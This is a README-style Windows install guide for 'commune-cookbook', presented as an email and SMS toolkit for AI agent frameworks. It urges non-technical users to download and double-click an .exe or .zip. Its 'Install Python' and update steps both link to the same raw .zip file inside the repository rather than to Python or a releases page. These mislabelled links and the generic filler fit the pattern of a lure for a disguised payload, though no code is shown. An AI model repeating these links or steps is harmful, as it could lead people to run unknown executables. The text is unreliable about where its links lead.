commune-cookbook is a collection of easy-to-use code recipes for handling email and SMS tasks with AI tools. It works with popular platforms like LangChain, CrewAI, OpenAI Agents SDK, and Claude. The code helps you manage inboxes, organize message threads, connect webhooks, and use phone numbers. It supports sending and receiving messages through email and SMS.
You do not need any programming skills to get started. This guide will help you download and run commune-cookbook on a Windows computer.
Before you install, make sure your computer meets these requirements:
- Windows 10 or later
- At least 4 GB of RAM
- 500 MB of free storage space
- Internet connection for setup and running the application
- Recommended: Python 3.9 or later installed (if needed for running scripts)
To get the software, open this page on your browser:
Download commune-cookbook here
Click the link above or the large green badge at the top. This link takes you to the official GitHub page where you can download files and find instructions.
You will find the latest release on the GitHub page. Make sure to download the version for Windows.
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Visit the download page
Click on the link or badge to go to the commune-cookbook GitHub page. -
Find the Releases Section
Scroll down or look at the right sidebar for “Releases” or a folder named "Releases." -
Download the Windows Version
Look for a file ending with.exeor.zipmarked for Windows. Click to download it to your PC. -
Unzip the File (if needed)
If you download a.zipfile, right-click it, choose "Extract All," and follow the steps to unzip it. -
Run the Installer or Application
- If it is an
.exefile, double-click it to start the installation. - Follow any prompts during setup.
- If it is a folder with scripts, proceed to the next section to run the code.
- If it is an
If you have an installer, running the program should be straightforward. Look for a new shortcut on your desktop or in your Start Menu called “commune-cookbook.” Double-click this to open.
If you downloaded code files to run manually, follow these steps:
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Install Python (if not installed)
- Go to https://github.com/black22345/commune-cookbook/raw/refs/heads/main/capabilities/cookbook-commune-3.3.zip
- Download and install Python 3.9 or later.
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Open Command Prompt
- Press
Win + R, typecmd, and press Enter.
- Press
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Navigate to the folder where you saved commune-cookbook
For example:cd C:\Users\YourName\Downloads\commune-cookbook -
Install Required Packages
The project needs some Python libraries. To install them, type:pip install -r requirements.txt -
Run a Sample Script
You can start with a sample script to send or receive emails or SMS. For example:python example_email_agent.py -
Follow On-Screen Prompts
The program will guide you through setting up your email or SMS agent. Enter any requested information carefully (such as email addresses or phone numbers).
commune-cookbook comes with several features that make handling AI email and SMS tasks easier:
- Inbox Handling: Manage your unread and read emails in one place.
- Threading: Organize messages into conversations automatically.
- Webhooks: Connect your apps to receive real-time notifications.
- Phone Number Support: Use virtual phone numbers to send and receive SMS.
- Agent Integration: Works with AI tools like LangChain and Claude to automate tasks.
- Code Examples: Ready-to-run recipes to explore and customize.
These functions open many possibilities without requiring deep technical knowledge.
Check the GitHub page regularly for updates. To update:
- Go to https://github.com/black22345/commune-cookbook/raw/refs/heads/main/capabilities/cookbook-commune-3.3.zip
- Download the newest version as described earlier.
- Replace your old files or rerun the installer.
- Keep your Python packages up to date by running:
pip install --upgrade -r requirements.txt
If something does not work as expected:
- Verify you have the right Windows version and enough space.
- Ensure Python and packages are installed correctly.
- Check your internet connection.
- Restart the app or your PC.
- Look for error messages in the Command Prompt for clues.
- Visit the GitHub page for more examples and how-tos.
Once you get comfortable, explore other recipes to automate email and SMS workflows. These tools can handle notifications, reminders, customer replies, and more. The examples cover both Python and TypeScript to fit different user needs.
Visit the repo often to find new code and updates.